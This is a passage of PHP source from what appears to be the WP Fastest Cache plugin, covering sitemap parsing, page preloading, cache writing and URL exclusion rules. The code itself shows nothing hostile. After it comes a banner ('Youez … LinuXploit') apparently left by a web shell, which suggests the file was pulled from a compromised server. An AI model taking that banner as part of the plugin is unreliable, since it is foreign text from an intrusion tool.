					}else{
						$pre_load->customTaxonomies = -1;
					}
				}
			}


			if(isset($pre_load->$current_order) && $pre_load->$current_order == -1){
				array_shift($order_arr);

				if(isset($order_arr[0])){
					$pre_load->order = implode(",", $order_arr);
					
					update_option("WpFastestCachePreLoad", json_encode($pre_load));

					self::create_preload_cache($options);
				}else{
					unset($pre_load->order);
				}
			}

			if(count($urls) > 0){
				foreach ($urls as $key => $arr) {
					$user_agent = "";

					if($arr["user-agent"] == "desktop"){
						$user_agent = "WP Fastest Cache Preload Bot";
					}else if($arr["user-agent"] == "mobile"){
						$user_agent = "WP Fastest Cache Preload iPhone Mobile Bot";
					}


					if(self::is_excluded($arr["url"])){
						$status = "<strong style=\"color:blue;\">Excluded</strong>";
					}else{
						if($GLOBALS["wp_fastest_cache"]->wpfc_remote_get($arr["url"], $user_agent)){
							$status = "<strong style=\"color:lightgreen;\">OK</strong>";
						}else{
							$status = "<strong style=\"color:red;\">ERROR</strong>";
						}
					}




					echo $status." ".esc_html($arr["url"])." (".esc_html($arr["user-agent"]).")<br>";
				}
				echo "<br>";
				echo count($urls)." page have been cached";

	    		update_option("WpFastestCachePreLoad", json_encode($pre_load));

	    		echo "<br><br>";

	    		self::statistic($pre_load);

			}else{
				if(isset($options->wpFastestCachePreload_restart)){
					foreach ($pre_load as $pre_load_key => &$pre_load_value) {
						//if($pre_load_key != "number" && $pre_load_key != "order"){
						if($pre_load_key != "number"){
							$pre_load_value = 0;
						}
					}

					update_option("WpFastestCachePreLoad", json_encode($pre_load));

					echo "Preload Restarted";

					if($varnish_datas = get_option("WpFastestCacheVarnish")){
						include_once('inc/varnish.php');
						VarnishWPFC::purge_cache($varnish_datas);
					}

					include_once('cdn.php');
					CdnWPFC::cloudflare_clear_cache();
				}else{
					echo "Completed";
					
					wp_clear_scheduled_hook("wp_fastest_cache_Preload");
				}
			}
		}

		public static function prepare_sitemap($url, $sitemap_cache_path){
			if(!empty($url)){
				$content = $GLOBALS["wp_fastest_cache"]->wpfc_remote_get($url, "xxxx", true);

				$content = strtolower($content);
				$content = preg_replace("/<\?\s*xml[^\>]*>/i", "", $content);
				$content = preg_replace("/<\/?urlset[^\>]*>/i", "", $content);
				$content = preg_replace("/<((?:(?!url|loc).)+)>((?:(?!http).)+)<((?:(?!url|loc).)+)>/i", "", $content);
				
				// to remove <image:loc> tag
				$content = preg_replace("/<\s*image\s*\:\s*loc\s*>[^\>\<]*<\s*\/\s*image\s*\:\s*loc\s*>/", "", $content);

				$content = preg_replace("/\s/i", "", $content);
				$content = preg_replace("/<\/url>/i", "</url>\n", $content);


				if(!is_dir($GLOBALS["wp_fastest_cache"]->getWpContentDir("/cache/all/"))){
					@mkdir($GLOBALS["wp_fastest_cache"]->getWpContentDir("/cache/all/"), 0755, true);
				}

				file_put_contents($sitemap_cache_path, $content);

				return $content;
			}

			return false;
		}

		public static function create_preload_cache_sitemap($pre_load, $options){
			if(!isset($pre_load->sitemaps[0])){
				die("No sitemap detected!");
			}

			$urls = array();
			$number = $options->wpFastestCachePreload_number;

			if(isset($options->wpFastestCacheMobileTheme) && $options->wpFastestCacheMobileTheme){
				$mobile_theme = true;
				$number = round($number/2);
			}else{
				$mobile_theme = false;
			}

			foreach ($pre_load->sitemaps as $sitemap_key => &$sitemap_value) {

				$sitemap_cache_path = $GLOBALS["wp_fastest_cache"]->getWpContentDir("/cache/all/".base64_encode($sitemap_value->url).".xml");

				if(!file_exists($sitemap_cache_path) || !isset($sitemap_value->total)){
					$content = self::prepare_sitemap($sitemap_value->url, $sitemap_cache_path);

					$sitemap_value->total = substr_count($content, '<url>');
				}

			}


			foreach ($pre_load->sitemaps as $s_key => &$s_value) {
				$s_value->pointer = $s_value->pointer > 0 ? $s_value->pointer : 1;
				
				if($s_value->pointer < $s_value->total){
					$sitemap_cache_path = $GLOBALS["wp_fastest_cache"]->getWpContentDir("/cache/all/".base64_encode($s_value->url).".xml");

					$file = fopen($sitemap_cache_path, "r");

					for ($i = 1; $i < $s_value->pointer; $i++) {
					    fgets($file);
					}

					for ($j=0; $j < $number; $j++) {

						$specific_line = fgets($file);

						$specific_line = strip_tags($specific_line);
						$specific_line = trim($specific_line);

						if($specific_line){
							if($mobile_theme){
								array_push($urls, array("url" => $specific_line, "user-agent" => "mobile"));
							}

			    			array_push($urls, array("url" => $specific_line, "user-agent" => "desktop"));
						}

					}

					fclose($file);

					$s_value->pointer = $s_value->pointer + $number;
					$s_value->pointer = $s_value->pointer > $s_value->total ? $s_value->total : $s_value->pointer;

					break;
				}

			}

			if(count($urls) > 0){
				foreach ($urls as $key => $arr) {
					$user_agent = "";

					if($arr["user-agent"] == "desktop"){
						$user_agent = "WP Fastest Cache Preload Bot";
					}else if($arr["user-agent"] == "mobile"){
						$user_agent = "WP Fastest Cache Preload iPhone Mobile Bot";
					}


					if(self::is_excluded($arr["url"])){
						$status = "<strong style=\"color:blue;\">Excluded</strong>";
					}else{
						if($GLOBALS["wp_fastest_cache"]->wpfc_remote_get($arr["url"], $user_agent)){
							$status = "<strong style=\"color:lightgreen;\">OK</strong>";
						}else{
							$status = "<strong style=\"color:red;\">ERROR</strong>";
						}
					}




					echo $status." ".esc_html($arr["url"])." (".esc_html($arr["user-agent"]).")<br>";
				}


				echo "\n\n<br><br>";


				foreach ($pre_load->sitemaps as $sres_key => $sres_value) {
					$cached_page_number = $sres_value->pointer;
					
					if($sres_value->pointer == $sres_value->total){
						$cached_page_number = $sres_value->pointer;
					}else{
						$cached_page_number--;

						$cached_page_number = max($cached_page_number, 0);
					}

					echo esc_html($sres_value->url).": ".esc_html($cached_page_number)."/".esc_html($sres_value->total)."<br>\n";
				}

				update_option("WpFastestCachePreLoad", json_encode($pre_load));

			}else{
				if(isset($options->wpFastestCachePreload_restart)){

					foreach ($pre_load->sitemaps as $r_key => &$r_value) {
						$r_value->pointer = 0;
					}

					update_option("WpFastestCachePreLoad", json_encode($pre_load));

					echo "Preload Restarted";

					if($varnish_datas = get_option("WpFastestCacheVarnish")){
						include_once('inc/varnish.php');
						VarnishWPFC::purge_cache($varnish_datas);
					}

					include_once('cdn.php');
					CdnWPFC::cloudflare_clear_cache();
				}else{
					echo "Completed";
					
					wp_clear_scheduled_hook("wp_fastest_cache_Preload");
				}
			}





		}

		public static function create_preload_cache($options){

			if(!isset($options->wpFastestCacheStatus)){
				die("Cache System must be enabled");
			}

			if($data = get_option("WpFastestCachePreLoad")){

				$pre_load = json_decode($data);

				if(isset($pre_load->sitemaps)){
					self::create_preload_cache_sitemap($pre_load, $options);
				}else{
					self::create_preload_cache_default($pre_load, $options);
				}
				

			}

			if(isset($_GET) && isset($_GET["type"])  && $_GET["type"] == "preload"){
				die();
			}
		}

		public static function is_excluded($url){
			if(!is_string($url)){
				return false;
			}

			$request_url = parse_url($url, PHP_URL_PATH);
			
			if($request_url){
				$request_url = urldecode(trim($request_url, "/"));
			}

			if(!$request_url){
				return false;
			}


			if(self::$exclude_rules === false){
				if($json_data = get_option("WpFastestCacheExclude")){
					self::$exclude_rules = json_decode($json_data);
				}else{
					self::$exclude_rules = array();
				}
			}

			foreach((array)self::$exclude_rules as $key => $value){
				if($value->prefix == "exact"){
					if(strtolower($value->content) == strtolower($request_url)){
						return true;	
					}
				}else{
					if($value->prefix == "startwith"){
						$preg_match_rule = "^".preg_quote($value->content, "/");
					}else if($value->prefix == "contain"){
						$preg_match_rule = preg_quote($value->content, "/");
					}
					
					if(isset($preg_match_rule)){
						if(preg_match("/".$preg_match_rule."/i", $request_url)){
							return true;
						}
					}
				}
			}

			return false;
		}
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit